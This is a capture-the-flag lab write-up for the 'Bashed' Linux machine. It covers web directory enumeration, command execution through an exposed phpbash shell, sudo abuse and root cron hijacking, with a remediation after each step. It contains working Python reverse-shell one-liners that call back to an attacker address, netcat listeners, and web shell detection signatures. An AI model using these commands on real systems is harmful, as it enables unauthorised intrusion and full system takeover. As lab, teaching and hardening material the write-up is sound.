Bashed
Linux· Easy· Privilege Escalation
Summary
I brute-forced hidden web paths to discover a development PHP web shell left running on the production server, executed arbitrary OS commands as the web service account, then chained two additional misconfigurations—an unrestricted passwordless sudo rule and a root cron job running scripts from me-writable directory—to escalate all the way to root without ever cracking a password.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
1ReconnaissanceWeb directory enumeration (gobuster)
Brute-forced hidden directories to locate the exposed development shell
The web server had no default-page link to the /dev/ path and no directory-listing restrictions that would reveal it. A wordlist-based directory scan found both the /dev/ folder and the phpbash.php file inside it, exposing the attack surface before any authentication was needed.
Phpbash.php confirmed live at http://$TARGET/dev/phpbash.php; shell returned CWD /var/www/html/dev.
Exact commands 1
Discovers /dev/ directory and phpbash.php; adjust wordlist path as needed.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50FixRemove the phpbash development web shell from the production serverCritical
WeaknessThe file /var/www/html/dev/phpbash.php was left on the production web server. It provides an authenticated-free, browser-accessible OS terminal running as the web service account, giving any internet user immediate remote code execution.
FixDelete /var/www/html/dev/phpbash.php and remove the /dev/ directory entirely if it serves no production purpose. Establish a deployment pipeline or pre-deploy checklist that explicitly strips debugging tools, shells, and test scripts before code reaches production. As a detective control, configure your web application firewall to alert on requests matching known web shell signatures (e.g., cmd=, system(, passthru( in query or POST body).
2Initial AccessWeb Shell — T1505.003
Ran OS commands through the unauthenticated phpbash web shell
Navigating to /dev/phpbash.php in a browser—or sending a simple curl request—presented a fully functional interactive Linux terminal running as www-data. No credentials or tokens were required. I immediately confirmed remote code execution, the hostname, and the working directory, then read the user flag directly because arrexel's home directory was world-readable.
Response: www-data uid=33(www-data) gid=33(www-data) groups=33(www-data); hostname: bashed; pwd: /var/www/html/dev.
Exact commands 2
Confirm RCE as www-data. Shell also accepts GET — browser navigation works equally.
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=whoami; id; hostname; pwd' http://$TARGET/dev/phpbash.phpUser flag readable by www-data -> <user.txt>
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=cat /home/arrexel/user.txt' http://$TARGET/dev/phpbash.php3DiscoverySudo enumeration / local privilege escalation discovery
Enumerated sudo rights and identified the writable /scripts directory
Running 'sudo -l' as www-data revealed that the web service account could execute any command as scriptmanager without a password. Listing /scripts showed it was owned by scriptmanager and contained Python files. Reviewing cron configuration confirmed a root-owned job that periodically executed every Python script in that directory.
Exact commands 3
Reveals: (scriptmanager : scriptmanager) NOPASSWD: ALL
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -l 2>&1' http://$TARGET/dev/phpbash.phpConfirms scriptmanager owns /scripts/ and its contents.
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -u scriptmanager ls -la /scripts/' http://$TARGET/dev/phpbash.phpReveals root cron executing Python scripts in /scripts/.
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=cat /etc/crontab 2>&1' http://$TARGET/dev/phpbash.phpFixRemove the web service account's unrestricted passwordless sudo rightsHigh
WeaknessThe www-data account was granted '(scriptmanager : scriptmanager) NOPASSWD: ALL' in sudoers, meaning any code running as www-data—including through a web vulnerability—could immediately take over the scriptmanager account with a single command and no credential.
FixOpen /etc/sudoers (or the relevant file under /etc/sudoers.d/) with visudo and delete the www-data entry entirely. Web service accounts must run with the minimum privilege needed to serve files. If the web application legitimately needs to trigger scriptmanager tasks, use a narrow, audited mechanism such as a specific wrapper script with a tightly scoped sudo rule (e.g., NOPASSWD: /usr/local/bin/run-specific-task only), not open-ended shell access.
4Lateral MovementSudo privilege abuse — T1548.003
Pivoted to the scriptmanager account via unrestricted passwordless sudo
Because www-data could sudo to scriptmanager without a password and with no command restriction, I spawned an interactive shell as scriptmanager. This account had write access to /scripts/, the directory targeted by root's cron job, making it the critical stepping stone to root.
Sudo rule (scriptmanager : scriptmanager) NOPASSWD: ALL on www-data; objective confirms sudo -u scriptmanager escalation path.
Exact commands 2
Run on my machine (tun0 interface) before the next command.
nc -lvnp 4444Replace $ATTACKER_IP with your tun0 address. Delivers interactive shell as scriptmanager.
curl -sS --max-time 8 -X POST --data-urlencode 'cmd=sudo -u scriptmanager python3 -c "import socket,subprocess,os;s=socket.socket();s.connect((\"$ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])"' http://$TARGET/dev/phpbash.php5Privilege EscalationCron job hijacking — T1053.003
Planted a malicious Python script for root's cron job to execute
From the scriptmanager shell, I wrote a Python reverse-shell payload to /scripts/pwn.py. Within minutes, the root cron job executed it, connecting back to my listener as root. I then read the root flag to confirm full system compromise.
Objective states root cron runs scripts owned by scriptmanager in /scripts/; both flags confirmed captured.
Exact commands 2
Run inside the scriptmanager shell from step 4. Replace $ATTACKER_IP with your tun0 address.
echo 'import socket,subprocess,os;s=socket.socket();s.connect(("$ATTACKER_IP",5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])' > /scripts/pwn.pyOn my machine — catch the root reverse shell when cron fires (typically within 1-2 minutes).
nc -lvnp 5555FixPrevent root cron jobs from executing scripts in user-writable directoriesCritical
WeaknessA cron job running as root executed every Python file found in /scripts/, a directory owned and writable by the scriptmanager account. Whoever controlled scriptmanager could therefore achieve root-level code execution simply by dropping a file.
FixTransfer ownership of /scripts/ and all its contents to root: 'chown -R root:root /scripts && chmod 755 /scripts'. Scripts that root executes must only be modifiable by root. Audit all entries in /etc/cron* and /var/spool/cron/ and confirm that every script path, and every directory in that path, is owned by root and not writable by any non-root user.
6Full ControlRoot shell via scheduled task execution
Received a root shell and captured the root flag
When the cron job fired it executed /scripts/pwn.py as root, establishing a reverse shell back to my listener with UID 0. I read /root/root.txt, confirming complete, unrestricted control of the system.
Exact commands 2
Confirms uid=0(root) in the caught shell.
idRoot flag -> <root.txt>
cat /root/root.txt